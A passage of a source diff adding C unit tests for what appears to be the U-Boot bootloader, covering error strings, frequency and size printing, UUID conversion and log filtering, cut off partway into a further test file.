+#include <errno.h>
+#include <test/lib.h>
+#include <test/test.h>
+#include <test/ut.h>
+
+/**
+ * lib_errno_str() - unit test for errno_str()
+ *
+ * Test errno_str() with varied alignment and length of the copied buffer.
+ *
+ * @uts: unit test state
+ * Return: 0 = success, 1 = failure
+ */
+static int lib_errno_str(struct unit_test_state *uts)
+{
+ const char *msg;
+
+ msg = errno_str(1);
+ ut_asserteq_str("Success", msg);
+
+ msg = errno_str(0);
+ ut_asserteq_str("Success", msg);
+
+ msg = errno_str(-ENOMEM);
+ ut_asserteq_str("Out of memory", msg);
+
+ msg = errno_str(-99999);
+ ut_asserteq_str("Unknown error", msg);
+
+ return 0;
+}
+
+LIB_TEST(lib_errno_str, 0);
diff --git a/test/lib/test_print.c b/test/lib/test_print.c
new file mode 100644
index 00000000000..c7fc50a1de1
--- /dev/null
+++ b/test/lib/test_print.c
@@ -0,0 +1,78 @@
+// SPDX-License-Identifier: GPL-2.0+
+/*
+ * Tests for print functions
+ *
+ * Copyright 2020, Heinrich Schuchadt <xypron.glpk@gmx.de>
+ */
+
+#include <command.h>
+#include <display_options.h>
+#include <asm/global_data.h>
+#include <test/lib.h>
+#include <test/test.h>
+#include <test/ut.h>
+
+DECLARE_GLOBAL_DATA_PTR;
+
+static int test_print_freq(struct unit_test_state *uts,
+ uint64_t freq, char *expected)
+{
+ ut_silence_console(uts);
+ console_record_reset_enable();
+ print_freq(freq, ";\n");
+ ut_unsilence_console(uts);
+ console_record_readline(uts->actual_str, sizeof(uts->actual_str));
+ ut_asserteq_str(expected, uts->actual_str);
+ ut_assertok(ut_check_console_end(uts));
+
+ return 0;
+}
+
+static int lib_test_print_freq(struct unit_test_state *uts)
+{
+ ut_assertok(test_print_freq(uts, 321, "321 Hz;"));
+ ut_assertok(test_print_freq(uts, 4321, "4.32 kHz;"));
+ ut_assertok(test_print_freq(uts, 54321, "54.32 kHz;"));
+ ut_assertok(test_print_freq(uts, 654321, "654.32 kHz;"));
+ ut_assertok(test_print_freq(uts, 7654321, "7.66 MHz;"));
+ ut_assertok(test_print_freq(uts, 87654321, "87.66 MHz;"));
+ ut_assertok(test_print_freq(uts, 987654321, "987.66 MHz;"));
+ ut_assertok(test_print_freq(uts, 1987654321, "1.99 GHz;"));
+ ut_assertok(test_print_freq(uts, 54321987654321, "54321.99 GHz;"));
+ return 0;
+}
+
+LIB_TEST(lib_test_print_freq, 0);
+
+static int test_print_size(struct unit_test_state *uts,
+ uint64_t freq, char *expected)
+{
+ ut_silence_console(uts);
+ console_record_reset_enable();
+ print_size(freq, ";\n");
+ ut_unsilence_console(uts);
+ console_record_readline(uts->actual_str, sizeof(uts->actual_str));
+ ut_asserteq_str(expected, uts->actual_str);
+ ut_assertok(ut_check_console_end(uts));
+
+ return 0;
+}
+
+static int lib_test_print_size(struct unit_test_state *uts)
+{
+ ut_assertok(test_print_size(uts, 321, "321 Bytes;"));
+ ut_assertok(test_print_size(uts, 4321, "4.2 KiB;"));
+ ut_assertok(test_print_size(uts, 54321, "53 KiB;"));
+ ut_assertok(test_print_size(uts, 654321, "639 KiB;"));
+ ut_assertok(test_print_size(uts, 7654321, "7.3 MiB;"));
+ ut_assertok(test_print_size(uts, 87654321, "83.6 MiB;"));
+ ut_assertok(test_print_size(uts, 987654321, "941.9 MiB;"));
+ ut_assertok(test_print_size(uts, 1073689395, "1023.9 MiB;"));
+ ut_assertok(test_print_size(uts, 1073689396, "1 GiB;"));
+ ut_assertok(test_print_size(uts, 1073741824, "1 GiB;"));
+ ut_assertok(test_print_size(uts, 1987654321, "1.9 GiB;"));
+ ut_assertok(test_print_size(uts, 54321987654321, "49.4 TiB;"));
+ return 0;
+}
+
+LIB_TEST(lib_test_print_size, 0);
diff --git a/test/lib/uuid.c b/test/lib/uuid.c
new file mode 100644
index 00000000000..0914f2c47e7
--- /dev/null
+++ b/test/lib/uuid.c
@@ -0,0 +1,40 @@
+// SPDX-License-Identifier: GPL-2.0+
+/*
+ * Functional tests for UCLASS_FFA class
+ *
+ * Copyright 2022-2023 Arm Limited and/or its affiliates <open-source-office@arm.com>
+ *
+ * Authors:
+ * Abdellatif El Khlifi <abdellatif.elkhlifi@arm.com>
+ */
+
+#include <uuid.h>
+#include <test/lib.h>
+#include <test/test.h>
+#include <test/ut.h>
+
+/* test UUID */
+#define TEST_SVC_UUID "ed32d533-4209-99e6-2d72-cdd998a79cc0"
+
+#define UUID_SIZE 16
+
+/* The UUID binary data (little-endian format) */
+static const u8 ref_uuid_bin[UUID_SIZE] = {
+ 0x33, 0xd5, 0x32, 0xed,
+ 0x09, 0x42, 0xe6, 0x99,
+ 0x72, 0x2d, 0xc0, 0x9c,
+ 0xa7, 0x98, 0xd9, 0xcd
+};
+
+static int lib_test_uuid_to_le(struct unit_test_state *uts)
+{
+ const char *uuid_str = TEST_SVC_UUID;
+ u8 ret_uuid_bin[UUID_SIZE] = {0};
+
+ ut_assertok(uuid_str_to_le_bin(uuid_str, ret_uuid_bin));
+ ut_asserteq_mem(ref_uuid_bin, ret_uuid_bin, UUID_SIZE);
+
+ return 0;
+}
+
+LIB_TEST(lib_test_uuid_to_le, 0);
diff --git a/test/log/Makefile b/test/log/Makefile
new file mode 100644
index 00000000000..08eea70e344
--- /dev/null
+++ b/test/log/Makefile
@@ -0,0 +1,26 @@
+# SPDX-License-Identifier: GPL-2.0+
+#
+# Copyright (c) 2017 Google, Inc
+
+obj-$(CONFIG_LOG_TEST) += log_test.o
+obj-$(CONFIG_CMD_LOG) += log_filter.o
+
+ifdef CONFIG_UT_LOG
+
+obj-y += log_ut.o
+
+ifdef CONFIG_SANDBOX
+obj-$(CONFIG_LOG_SYSLOG) += syslog_test.o
+obj-$(CONFIG_LOG_SYSLOG) += syslog_test_ndebug.o
+endif
+
+ifdef CONFIG_LOG
+obj-y += pr_cont_test.o
+obj-$(CONFIG_CONSOLE_RECORD) += cont_test.o
+obj-y += pr_cont_test.o
+else
+obj-$(CONFIG_CONSOLE_RECORD) += nolog_test.o
+obj-$(CONFIG_CONSOLE_RECORD) += nolog_ndebug.o
+endif
+
+endif # CONFIG_UT_LOG
diff --git a/test/log/cont_test.c b/test/log/cont_test.c
new file mode 100644
index 00000000000..036d44b9d73
--- /dev/null
+++ b/test/log/cont_test.c
@@ -0,0 +1,63 @@
+// SPDX-License-Identifier: GPL-2.0+
+/*
+ * Copyright (c) 2020, Heinrich Schuchardt <xypron.glpk@gmx.de>
+ *
+ * Test continuation of log messages.
+ */
+
+#include <console.h>
+#include <asm/global_data.h>
+#include <test/log.h>
+#include <test/test.h>
+#include <test/suites.h>
+#include <test/ut.h>
+
+DECLARE_GLOBAL_DATA_PTR;
+
+static int log_test_cont(struct unit_test_state *uts)
+{
+ int log_fmt;
+ int log_level;
+
+ log_fmt = gd->log_fmt;
+ log_level = gd->default_log_level;
+
+ /* Write two messages, the second continuing the first */
+ gd->log_fmt = (1 << LOGF_CAT) | (1 << LOGF_LEVEL) | (1 << LOGF_MSG);
+ gd->default_log_level = LOGL_INFO;
+ console_record_reset_enable();
+ log(LOGC_ARCH, LOGL_ERR, "ea%d\n", 1);
+ log(LOGC_CONT, LOGL_CONT, "cc%d\n", 2);
+ gd->default_log_level = log_level;
+ gd->log_fmt = log_fmt;
+ gd->flags &= ~GD_FLG_RECORD;
+ ut_assertok(ut_check_console_line(uts, "ERR.arch, ea1"));
+ ut_assertok(ut_check_console_line(uts, "ERR.arch, cc2"));
+ ut_assertok(ut_check_console_end(uts));
+
+ /* Write a third message which is not a continuation */
+ gd->log_fmt = (1 << LOGF_CAT) | (1 << LOGF_LEVEL) | (1 << LOGF_MSG);
+ gd->default_log_level = LOGL_INFO;
+ console_record_reset_enable();
+ log(LOGC_EFI, LOGL_INFO, "ie%d\n", 3);
+ gd->default_log_level = log_level;
+ gd->log_fmt = log_fmt;
+ gd->flags &= ~GD_FLG_RECORD;
+ ut_assertok(ut_check_console_line(uts, "INFO.efi, ie3"));
+ ut_assertok(ut_check_console_end(uts));
+
+ /* Write two messages without a newline between them */
+ gd->log_fmt = (1 << LOGF_CAT) | (1 << LOGF_LEVEL) | (1 << LOGF_MSG);
+ gd->default_log_level = LOGL_INFO;
+ console_record_reset_enable();
+ log(LOGC_ARCH, LOGL_ERR, "ea%d ", 1);
+ log(LOGC_CONT, LOGL_CONT, "cc%d\n", 2);
+ gd->default_log_level = log_level;
+ gd->log_fmt = log_fmt;
+ gd->flags &= ~GD_FLG_RECORD;
+ ut_assertok(ut_check_console_line(uts, "ERR.arch, ea1 cc2"));
+ ut_assertok(ut_check_console_end(uts));
+
+ return 0;
+}
+LOG_TEST(log_test_cont);
diff --git a/test/log/log_filter.c b/test/log/log_filter.c
new file mode 100644
index 00000000000..9cc891dc48c
--- /dev/null
+++ b/test/log/log_filter.c
@@ -0,0 +1,108 @@
+// SPDX-License-Identifier: GPL-2.0+
+/*
+ * Copyright (C) 2020 Sean Anderson <seanga2@gmail.com>
+ */
+
+#include <console.h>
+#include <log.h>
+#include <asm/global_data.h>
+#include <test/log.h>
+#include <test/ut.h>
+
+DECLARE_GLOBAL_DATA_PTR;
+
+/* Test invalid options */
+static int log_test_filter_invalid(struct unit_test_state *uts)
+{
+ ut_asserteq(1, run_command("log filter-add -AD", 0));
+ ut_asserteq(1, run_command("log filter-add -l1 -L1", 0));
+ ut_asserteq(1, run_command("log filter-add -l1 -L1", 0));
+ ut_asserteq(1, run_command("log filter-add -lfoo", 0));
+ ut_asserteq(1, run_command("log filter-add -cfoo", 0));
+ ut_asserteq(1, run_command("log filter-add -ccore -ccore -ccore -ccore "
+ "-ccore -ccore", 0));
+
+ return 0;
+}
+LOG_TEST_FLAGS(log_test_filter_invalid, UT_TESTF_CONSOLE_REC);
+
+/* Test adding and removing filters */
+static int log_test_filter(struct unit_test_state *uts)
+{
+ bool any_found = false;
+ bool filt1_found = false;
+ bool filt2_found = false;
+ char cmd[32];
+ struct log_filter *filt;
+ struct log_device *ldev;
+ ulong filt1, filt2;
+
+#define create_filter(args, filter_num) do {\
+ ut_assertok(console_record_reset_enable()); \
+ ut_assertok(run_command("log filter-add -p " args, 0)); \
+ ut_assert_skipline(); \
+ ut_assertok(strict_strtoul(uts->actual_str, 10, &(filter_num))); \
+ ut_assert_console_end(); \
+} while (0)
+
+ create_filter("", filt1);
+ create_filter("-DL warning -cmmc -cspi -ffile", filt2);
+
+ ldev = log_device_find_by_name("console");
+ ut_assertnonnull(ldev);
+ list_for_each_entry(filt, &ldev->filter_head, sibling_node) {
+ if (filt->filter_num == filt1) {
+ filt1_found = true;
+ ut_asserteq(0, filt->flags);
+ ut_asserteq(LOGL_MAX, filt->level);
+ ut_assertnull(filt->file_list);
+ } else if (filt->filter_num == filt2) {
+ filt2_found = true;
+ ut_asserteq(LOGFF_HAS_CAT | LOGFF_DENY |
+ LOGFF_LEVEL_MIN, filt->flags);
+ ut_asserteq(true, log_has_cat(filt->cat_list,
+ log_uc_cat(UCLASS_MMC)));
+ ut_asserteq(true, log_has_cat(filt->cat_list,
+ log_uc_cat(UCLASS_SPI)));
+ ut_asserteq(LOGL_WARNING, filt->level);
+ ut_asserteq_str("file", filt->file_list);
+ }
+ }
+ ut_asserteq(true, filt1_found);
+ ut_asserteq(true, filt2_found);
+
+#define remove_filter(filter_num) do { \
+ ut_assertok(console_record_reset_enable()); \
+ snprintf(cmd, sizeof(cmd), "log filter-remove %lu", filter_num); \
+ ut_assertok(run_command(cmd, 0)); \
+ ut_assert_console_end(); \
+} while (0)
+
+ remove_filter(filt1);
+ remove_filter(filt2);
+
+ filt1_found = false;
+ filt2_found = false;
+ list_for_each_entry(filt, &ldev->filter_head, sibling_node) {
+ if (filt->filter_num == filt1)
+ filt1_found = true;
+ else if (filt->filter_num == filt2)
+ filt2_found = true;
+ }
+ ut_asserteq(false, filt1_found);
+ ut_asserteq(false, filt2_found);
+
+ create_filter("", filt1);
+ create_filter("", filt2);
+
+ ut_assertok(console_record_reset_enable());
+ ut_assertok(run_command("log filter-remove -a", 0));
+ ut_assert_console_end();
+
+ list_for_each_entry(filt, &ldev->filter_head, sibling_node)
+ any_found = true;
+ ut_asserteq(false, any_found);
+
+ return 0;
+}
+LOG_TEST_FLAGS(log_test_filter, UT_TESTF_CONSOLE_REC);
diff --git a/test/log/log_test.c b/test/log/log_test.c
new file mode 100644
index 00000000000..855353a9c40
--- /dev/null
+++ b/test/log/log_test.c
@@ -0,0 +1,462 @@
+// SPDX-License-Identifier: GPL-2.0+
+/*
+ * Logging support test program
+ *
+ * Copyright (c) 2017 Google, Inc
+ * Written by Simon Glass <sjg@chromium.org>
+ */
+
+#include <command.h>
+#include <log.h>
+#include <asm/global_data.h>
+#include <test/log.h>
+#include <test/ut.h>
+
+DECLARE_GLOBAL_DATA_PTR;
+
+/* emit some sample log records in different ways, for testing */
+static int do_log_run(struct unit_test_state *uts, int cat, const char *file)
+{
+ int i;
+ int ret, expected_ret;
+
+ if (gd->flags & GD_FLG_LOG_READY)
+ expected_ret = 0;
+ else
+ expected_ret = -ENOSYS;
+
+ gd->log_fmt = LOGF_TEST;
+ debug("debug\n");
+ for (i = LOGL_FIRST; i < LOGL_COUNT; i++) {
+ log(cat, i, "log %d\n", i);
+ ret = _log(log_uc_cat(cat), i, file, 100 + i,
+ "func", "_log %d\n", i);
+ ut_asserteq(ret, expected_ret);
+ }
+ /* test with LOGL_COUNT flag */
+ for (i = LOGL_FIRST; i < LOGL_COUNT; i++) {
+ ret = _log(log_uc_cat(cat), i | LOGL_FORCE_DEBUG, file, 100 + i,
+ "func", "_log force %d\n", i);
+ ut_asserteq(ret, expected_ret);
+ }
+
+ gd->log_fmt = log_get_default_format();
+ return 0;
+}
+
+#define log_run_cat(cat) do_log_run(uts, cat, "file")
+#define log_run_file(file) do_log_run(uts, UCLASS_SPI, file)
+#define log_run() do_log_run(uts, UCLASS_SPI, "file")
+
+#define EXPECT_LOG BIT(0)
+#define EXPECT_DIRECT BIT(1)
+#define EXPECT_EXTRA BIT(2)
+#define EXPECT_FORCE BIT(3)
+#define EXPECT_DEBUG BIT(4)
+
+static int do_check_log_entries(struct unit_test_state *uts, int flags, int min,
+ int max)
+{
+ int i;
+
+ for (i = min; i <= max; i++) {
+ if (flags & EXPECT_LOG)
+ ut_assert_nextline(" do_log_run() log %d", i);
+ if (flags & EXPECT_DIRECT)
+ ut_assert_nextline(" func() _log %d", i);
+ if (flags & EXPECT_DEBUG) {
+ ut_assert_nextline("log %d", i);
+ ut_assert_nextline("_log %d", i);
+ }
+ }
+ if (flags & EXPECT_EXTRA)
+ for (; i <= LOGL_MAX ; i++)
+ ut_assert_nextline(" func() _log %d", i);
+
+ for (i = LOGL_FIRST; i < LOGL_COUNT; i++) {
+ if (flags & EXPECT_FORCE)
+ ut_assert_nextline(" func() _log force %d",
+ i);
+ if (flags & EXPECT_DEBUG)
+ ut_assert_nextline("_log force %d", i);
+ }
+
+ ut_assert_console_end();
+ return 0;
+}
+
+#define check_log_entries_flags_levels(flags, min, max) do {\
+ int ret = do_check_log_entries(uts, flags, min, max); \
+ if (ret) \
+ return ret; \
+} while (0)
+
+#define check_log_entries_flags(flags) \
+ check_log_entries_flags_levels(flags, LOGL_FIRST, _LOG_MAX_LEVEL)
+#define check_log_entries() check_log_entries_flags(EXPECT_LOG | EXPECT_DIRECT | EXPECT_FORCE)
+#define check_log_entries_extra() \
+ check_log_entries_flags(EXPECT_LOG | EXPECT_DIRECT | EXPECT_EXTRA | EXPECT_FORCE)
+#define check_log_entries_none() check_log_entries_flags(EXPECT_FORCE)
+
+/* Check a category filter using the first category */
+int log_test_cat_allow(struct unit_test_state *uts)
+{
+ enum log_category_t cat_list[] = {
+ log_uc_cat(UCLASS_MMC), log_uc_cat(UCLASS_SPI),
+ LOGC_NONE, LOGC_END
+ };
+ int filt;
+
+ filt = log_add_filter("console", cat_list, LOGL_MAX, NULL);
+ ut_assert(filt >= 0);
+
+ ut_assertok(console_record_reset_enable());
+ log_run_cat(UCLASS_MMC);
+ check_log_entries_extra();
+
+ ut_assertok(console_record_reset_enable());
+ log_run_cat(UCLASS_SPI);
+ check_log_entries_extra();
+
+ ut_assertok(log_remove_filter("console", filt));
+ return 0;
+}
+LOG_TEST_FLAGS(log_test_cat_allow, UT_TESTF_CONSOLE_REC);
+
+/* Check a category filter that should block log entries */
+int log_test_cat_deny_implicit(struct unit_test_state *uts)
+{
+ enum log_category_t cat_list[] = {
+ log_uc_cat(UCLASS_MMC), LOGC_NONE, LOGC_END
+ };
+ int filt;
+
+ filt = log_add_filter("console", cat_list, LOGL_MAX, NULL);
+ ut_assert(filt >= 0);
+
+ ut_assertok(console_record_reset_enable());
+ log_run_cat(UCLASS_SPI);
+ check_log_entries_none();
+
+ ut_assertok(log_remove_filter("console", filt));
+ return 0;
+}
+LOG_TEST_FLAGS(log_test_cat_deny_implicit, UT_TESTF_CONSOLE_REC);
+
+/* Check passing and failing file filters */
+int log_test_file(struct unit_test_state *uts)
+{
+ int filt;
+
+ filt = log_add_filter("console", NULL, LOGL_MAX, "file");
+ ut_assert(filt >= 0);
+
+ ut_assertok(console_record_reset_enable());
+ log_run_file("file");
+ check_log_entries_flags(EXPECT_DIRECT | EXPECT_EXTRA | EXPECT_FORCE);
+
+ ut_assertok(console_record_reset_enable());
+ log_run_file("file2");
+ check_log_entries_none();
+
+ ut_assertok(log_remove_filter("console", filt));
+ return 0;
+}
+LOG_TEST_FLAGS(log_test_file, UT_TESTF_CONSOLE_REC);
+
+/* Check a passing file filter (second in list) */
+int log_test_file_second(struct unit_test_state *uts)
+{
+ int filt;
+
+ filt = log_add_filter("console", NULL, LOGL_MAX, "file,file2");
+ ut_assert(filt >= 0);
+
+ ut_assertok(console_record_reset_enable());
+ log_run_file("file2");
+ check_log_entries_flags(EXPECT_DIRECT | EXPECT_EXTRA | EXPECT_FORCE);
+
+ ut_assertok(log_remove_filter("console", filt));
+ return 0;
+}
+LOG_TEST_FLAGS(log_test_file_second, UT_TESTF_CONSOLE_REC);
+
+/* Check a passing file filter (middle of list) */
+int log_test_file_mid(struct unit_test_state *uts)
+{
+ int filt;
+
+ filt = log_add_filter("console", NULL, LOGL_MAX,
+ "file,file2,log/log_test.c");
+ ut_assert(filt >= 0);
+
+ ut_assertok(console_record_reset_enable());
+ log_run_file("file2");
+ check_log_entries_extra();
+
+ ut_assertok(log_remove_filter("console", filt));
+ return 0;
+}
+LOG_TEST_FLAGS(log_test_file_mid, UT_TESTF_CONSOLE_REC);
+
+/* Check a log level filter */
+int log_test_level(struct unit_test_state *uts)
+{
+ int filt;
+
+ filt = log_add_filter("console", NULL, LOGL_WARNING, NULL);
+ ut_assert(filt >= 0);
+
+ ut_assertok(console_record_reset_enable());
+ log_run();
+ check_log_entries_flags_levels(EXPECT_LOG | EXPECT_DIRECT | EXPECT_FORCE,
+ LOGL_FIRST, LOGL_WARNING);
+
+ ut_assertok(log_remove_filter("console", filt));
+ return 0;
+}
+LOG_TEST_FLAGS(log_test_level, UT_TESTF_CONSOLE_REC);
+
+/* Check two filters, one of which passes everything */
+int log_test_double(struct unit_test_state *uts)
+{
+ int filt1, filt2;
+
+ filt1 = log_add_filter("console", NULL, LOGL_WARNING, NULL);
+ ut_assert(filt1 >= 0);
+ filt2 = log_add_filter("console", NULL, LOGL_MAX, NULL);
+ ut_assert(filt2 >= 0);
+
+ ut_assertok(console_record_reset_enable());
+ log_run();
+ check_log_entries_extra();
+
+ ut_assertok(log_remove_filter("console", filt1));
+ ut_assertok(log_remove_filter("console", filt2));
+ return 0;
+}
+LOG_TEST_FLAGS(log_test_double, UT_TESTF_CONSOLE_REC);
+
+/* Check three filters, which together pass everything */
+int log_test_triple(struct unit_test_state *uts)
+{
+ int filt1, filt2, filt3;
+
+ filt1 = log_add_filter("console", NULL, LOGL_MAX, "file)");
+ ut_assert(filt1 >= 0);
+ filt2 = log_add_filter("console", NULL, LOGL_MAX, "file2");
+ ut_assert(filt2 >= 0);
+ filt3 = log_add_filter("console", NULL, LOGL_MAX, "log/log_test.c");
+ ut_assert(filt3 >= 0);
+
+ ut_assertok(console_record_reset_enable());
+ log_run_file("file2");
+ check_log_entries_extra();
+
+ ut_assertok(log_remove_filter("console", filt1));
+ ut_assertok(log_remove_filter("console", filt2));
+ ut_assertok(log_remove_filter("console", filt3));
+ return 0;
+}
+LOG_TEST_FLAGS(log_test_triple, UT_TESTF_CONSOLE_REC);
+
+int do_log_test_helpers(struct unit_test_state *uts)
+{
+ int i;
+
+ ut_assertok(console_record_reset_enable());
+ log_err("level %d\n", LOGL_EMERG);
+ log_err("level %d\n", LOGL_ALERT);
+ log_err("level %d\n", LOGL_CRIT);
+ log_err("level %d\n", LOGL_ERR);
+ log_warning("level %d\n", LOGL_WARNING);
+ log_notice("level %d\n", LOGL_NOTICE);
+ log_info("level %d\n", LOGL_INFO);
+ log_debug("level %d\n", LOGL_DEBUG);
+ log_content("level %d\n", LOGL_DEBUG_CONTENT);
+ log_io("level %d\n", LOGL_DEBUG_IO);
+
+ for (i = LOGL_EMERG; i <= gd->default_log_level; i++)
+ ut_assert_nextline("%*s() level %d", CONFIG_LOGF_FUNC_PAD,
+ __func__, i);
+ ut_assert_console_end();
+ return 0;
+}
+
+int log_test_helpers(struct unit_test_state *uts)
+{
+ int ret;
+
+ gd->log_fmt = LOGF_TEST;
+ ret = do_log_test_helpers(uts);
+ gd->log_fmt = log_get_default_format();
+ return ret;
+}
+LOG_TEST_FLAGS(log_test_helpers, UT_TESTF_CONSOLE_REC);
+
+int do_log_test_disable(struct unit_test_state *uts)
+{
+ ut_assertok(console_record_reset_enable());
+ log_err("default\n");
+ ut_assert_nextline("%*s() default", CONFIG_LOGF_FUNC_PAD, __func__);
+
+ ut_assertok(log_device_set_enable(LOG_GET_DRIVER(console), false));
+ log_err("disabled\n");
+
+ ut_assertok(log_device_set_enable(LOG_GET_DRIVER(console), true));
+ log_err("enabled\n");
+ ut_assert_nextline("%*s() enabled", CONFIG_LOGF_FUNC_PAD, __func__);
+ ut_assert_console_end();
+ return 0;
+}
+
+int log_test_disable(struct unit_test_state *uts)
+{
+ int ret;
+
+ gd->log_fmt = LOGF_TEST;
+ ret = do_log_test_disable(uts);
+ gd->log_fmt = log_get_default_format();
+ return ret;
+}
+LOG_TEST_FLAGS(log_test_disable, UT_TESTF_CONSOLE_REC);
+
+/* Check denying based on category */
+int log_test_cat_deny(struct unit_test_state *uts)
+{
+ int filt1, filt2;
+ enum log_category_t cat_list[] = {
+ log_uc_cat(UCLASS_SPI), LOGC_END
+ };
+
+ filt1 = log_add_filter("console", cat_list, LOGL_MAX, NULL);
+ ut_assert(filt1 >= 0);
+ filt2 = log_add_filter_flags("console", cat_list, LOGL_MAX, NULL,
+ LOGFF_DENY);
+ ut_assert(filt2 >= 0);
+
+ ut_assertok(console_record_reset_enable());
+ log_run_cat(UCLASS_SPI);
+ check_log_entries_none();
+
+ ut_assertok(log_remove_filter("console", filt1));
+ ut_assertok(log_remove_filter("console", filt2));
+ return 0;
+}
+LOG_TEST_FLAGS(log_test_cat_deny, UT_TESTF_CONSOLE_REC);
+
+/* Check denying based on file */
+int log_test_file_deny(struct unit_test_state *uts)
+{
+ int filt1, filt2;
+
+ filt1 = log_add_filter("console", NULL, LOGL_MAX, "file");
+ ut_assert(filt1 >= 0);
+ filt2 = log_add_filter_flags("console", NULL, LOGL_MAX, "file",
+ LOGFF_DENY);
+ ut_assert(filt2 >= 0);
+
+ ut_assertok(console_record_reset_enable());
+ log_run_file("file");
+ check_log_entries_none();
+
+ ut_assertok(log_remove_filter("console", filt1));
+ ut_assertok(log_remove_filter("console", filt2));
+ return 0;
+}
+LOG_TEST_FLAGS(log_test_file_deny, UT_TESTF_CONSOLE_REC);
+
+/* Check denying based on level */
+int log_test_level_deny(struct unit_test_state *uts)
+{
+ int filt1, filt2;
+
+ filt1 = log_add_filter("console", NULL, LOGL_INFO, NULL);
+ ut_assert(filt1 >= 0);
+ filt2 = log_add_filter_flags("console", NULL, LOGL_WARNING, NULL,
+ LOGFF_DENY);
+ ut_assert(filt2 >= 0);
+
+ ut_assertok(console_record_reset_enable());
+ log_run();
+ check_log_entries_flags_levels(EXPECT_LOG | EXPECT_DIRECT | EXPECT_FORCE,
+ LOGL_WARNING + 1,
+ min(gd->default_log_level, LOGL_INFO));
+
+ ut_assertok(log_remove_filter("console", filt1));
+ ut_assertok(log_remove_filter("console", filt2));
+ return 0;
+}
+LOG_TEST_FLAGS(log_test_level_deny, UT_TESTF_CONSOLE_REC);
+
+/* Check matching based on minimum level */
+int log_test_min(struct unit_test_state *uts)
+{
+ int filt1, filt2;
+
+ filt1 = log_add_filter_flags("console", NULL, LOGL_WARNING, NULL,
+ LOGFF_LEVEL_MIN);
+ ut_assert(filt1 >= 0);
+ filt2 = log_add_filter_flags("console", NULL, LOGL_INFO, NULL,
+ LOGFF_DENY | LOGFF_LEVEL_MIN);
+ ut_assert(filt2 >= 0);
+
+ ut_assertok(console_record_reset_enable());
+ log_run();
+ check_log_entries_flags_levels(EXPECT_LOG | EXPECT_DIRECT | EXPECT_FORCE,
+ LOGL_WARNING, LOGL_INFO - 1);
+
+ ut_assertok(log_remove_filter("console", filt1));
+ ut_assertok(log_remove_filter("console", filt2));
+ return 0;
+}
+LOG_TEST_FLAGS(log_test_min, UT_TESTF_CONSOLE_REC);
+
+/* Check dropped traces */
+int log_test_dropped(struct unit_test_state *uts)
+{
+ /* force LOG not ready */
+ gd->flags &= ~(GD_FLG_LOG_READY);
+ gd->log_drop_count = 0;
+
+ ut_assertok(console_record_reset_enable());
+
+ log_run();
+ ut_asserteq(2 * (LOGL_COUNT - LOGL_FIRST) +
+ _LOG_MAX_LEVEL - LOGL_FIRST + 1,
+ gd->log_drop_count);
+ check_log_entries_flags_levels(EXPECT_DEBUG, LOGL_FIRST, CONFIG_LOG_DEFAULT_LEVEL);
+
+ gd->flags |= GD_FLG_LOG_READY;
+ gd->log_drop_count = 0;
+
+ return 0;
+}
+LOG_TEST_FLAGS(log_test_dropped, UT_TESTF_CONSOLE_REC);
+
+/* Check log_buffer() */
+int log_test_buffer(struct unit_test_state *uts)
+{
+ u8 *buf;
+ int i;
+
+ buf = malloc(0x20);
+ ut_assertnonnull(buf);
+ memset(buf, '\0', 0x20);
+ for (i = 0; i < 0x11; i++)
+ buf[i] = i * 0x11;
+
+ ut_assertok(console_record_reset_enable());
+ log_buffer(LOGC_BOOT, LOGL_INFO, 0, buf, 1, 0x12, 0);
+
+ /* This one should product no output due to the debug level */
+ log_buffer(LOGC_BOOT, LOGL_DEBUG, 0, buf, 1, 0x12, 0);
+
+ ut_assert_nextline("00000000: 00 11 22 33 44 55 66 77 88 99 aa bb cc dd ee ff ..\"3DUfw........");
+ ut_assert_nextline("00000010: 10 00 ..");
+ ut_assert_console_end();
+ free(buf);
+
+ return 0;
+}
+LOG_TEST_FLAGS(log_test_buffer, UT_TESTF_CONSOLE_REC);
diff --git a/test/log/log_ut.c b/test/log/log_ut.c
new file mode 100644
index 00000000000..6617ed8b152
--- /dev/null
+++ b/test/log/log_ut.c
@@ -0,0 +1,20 @@
+// SPDX-License-Identifier: GPL-2.0+
+/*
+ * Copyright (c) 2020, Heinrich Schuchardt <xypron.glpk@gmx.de>
+ *
+ * Logging function tests.
+ */
+
+#include <console.h>
+#include <log.h>
+#include <test/log.h>
+#include <test/suites.h>
+
+int do_ut_log(struct cmd_tbl *cmdtp, int flag, int argc, char * const argv[])
+{
+ struct unit_test *tests = UNIT_TEST_SUITE_START(log_test);
+ const int n_ents = UNIT_TEST_SUITE_COUNT(log_test);
+
+ return cmd_ut_category("log", "log_test_",
+ tests, n_ents, argc, argv);
+}
diff --git a/test/log/nolog_ndebug.c b/test/log/nolog_ndebug.c
new file mode 100644
index 00000000000..b714a16d2e7
--- /dev/null
+++ b/test/log/nolog_ndebug.c
@@ -0,0 +1,38 @@
+// SPDX-License-Identifier: GPL-2.0+
+/*
+ * Copyright 2021 Google LLC
+ *
+ * Logging function tests for CONFIG_LOG=n without #define DEBUG
+ */
+
+#include <console.h>
+#include <log.h>
+#include <asm/global_data.h>
+#include <test/log.h>
+#include <test/ut.h>
+
+DECLARE_GLOBAL_DATA_PTR;
+
+#define BUFFSIZE 32
+
+static int log_test_log_disabled_ndebug(struct unit_test_state *uts)
+{
+ char buf[BUFFSIZE];
+ int i;
+
+ memset(buf, 0, BUFFSIZE);
+ console_record_reset_enable();
+
+ /* Output a log record at every level */
+ for (i = LOGL_EMERG; i < LOGL_COUNT; i++)
+ log(LOGC_NONE, i, "testing level %i\n", i);
+ gd->flags &= ~GD_FLG_RECORD;
+
+ /* Since DEBUG is not defined, we expect to not get debug output */
+ for (i = LOGL_EMERG; i < LOGL_DEBUG; i++)
+ ut_assertok(ut_check_console_line(uts, "testing level %d", i));
+ ut_assertok(ut_check_console_end(uts));
+
+ return 0;
+}
+LOG_TEST(log_test_log_disabled_ndebug);
diff --git a/test/log/nolog_test.c b/test/log/nolog_test.c
new file mode 100644
index 00000000000..c4c0fa6cf81
--- /dev/null
+++ b/test/log/nolog_test.c
@@ -0,0 +1,138 @@
+// SPDX-License-Identifier: GPL-2.0+
+/*
+ * Copyright (c) 2020, Heinrich Schuchardt <xypron.glpk@gmx.de>
+ *
+ * Logging function tests for CONFIG_LOG=n.
+ */
+
+/* Needed for testing log_debug() */
+#define DEBUG 1
+
+#include <console.h>
+#include <log.h>
+#include <asm/global_data.h>
+#include <test/log.h>
+#include <test/test.h>
+#include <test/suites.h>
+#include <test/ut.h>
+
+DECLARE_GLOBAL_DATA_PTR;
+
+#define BUFFSIZE 32
+
+static int log_test_nolog_err(struct unit_test_state *uts)
+{
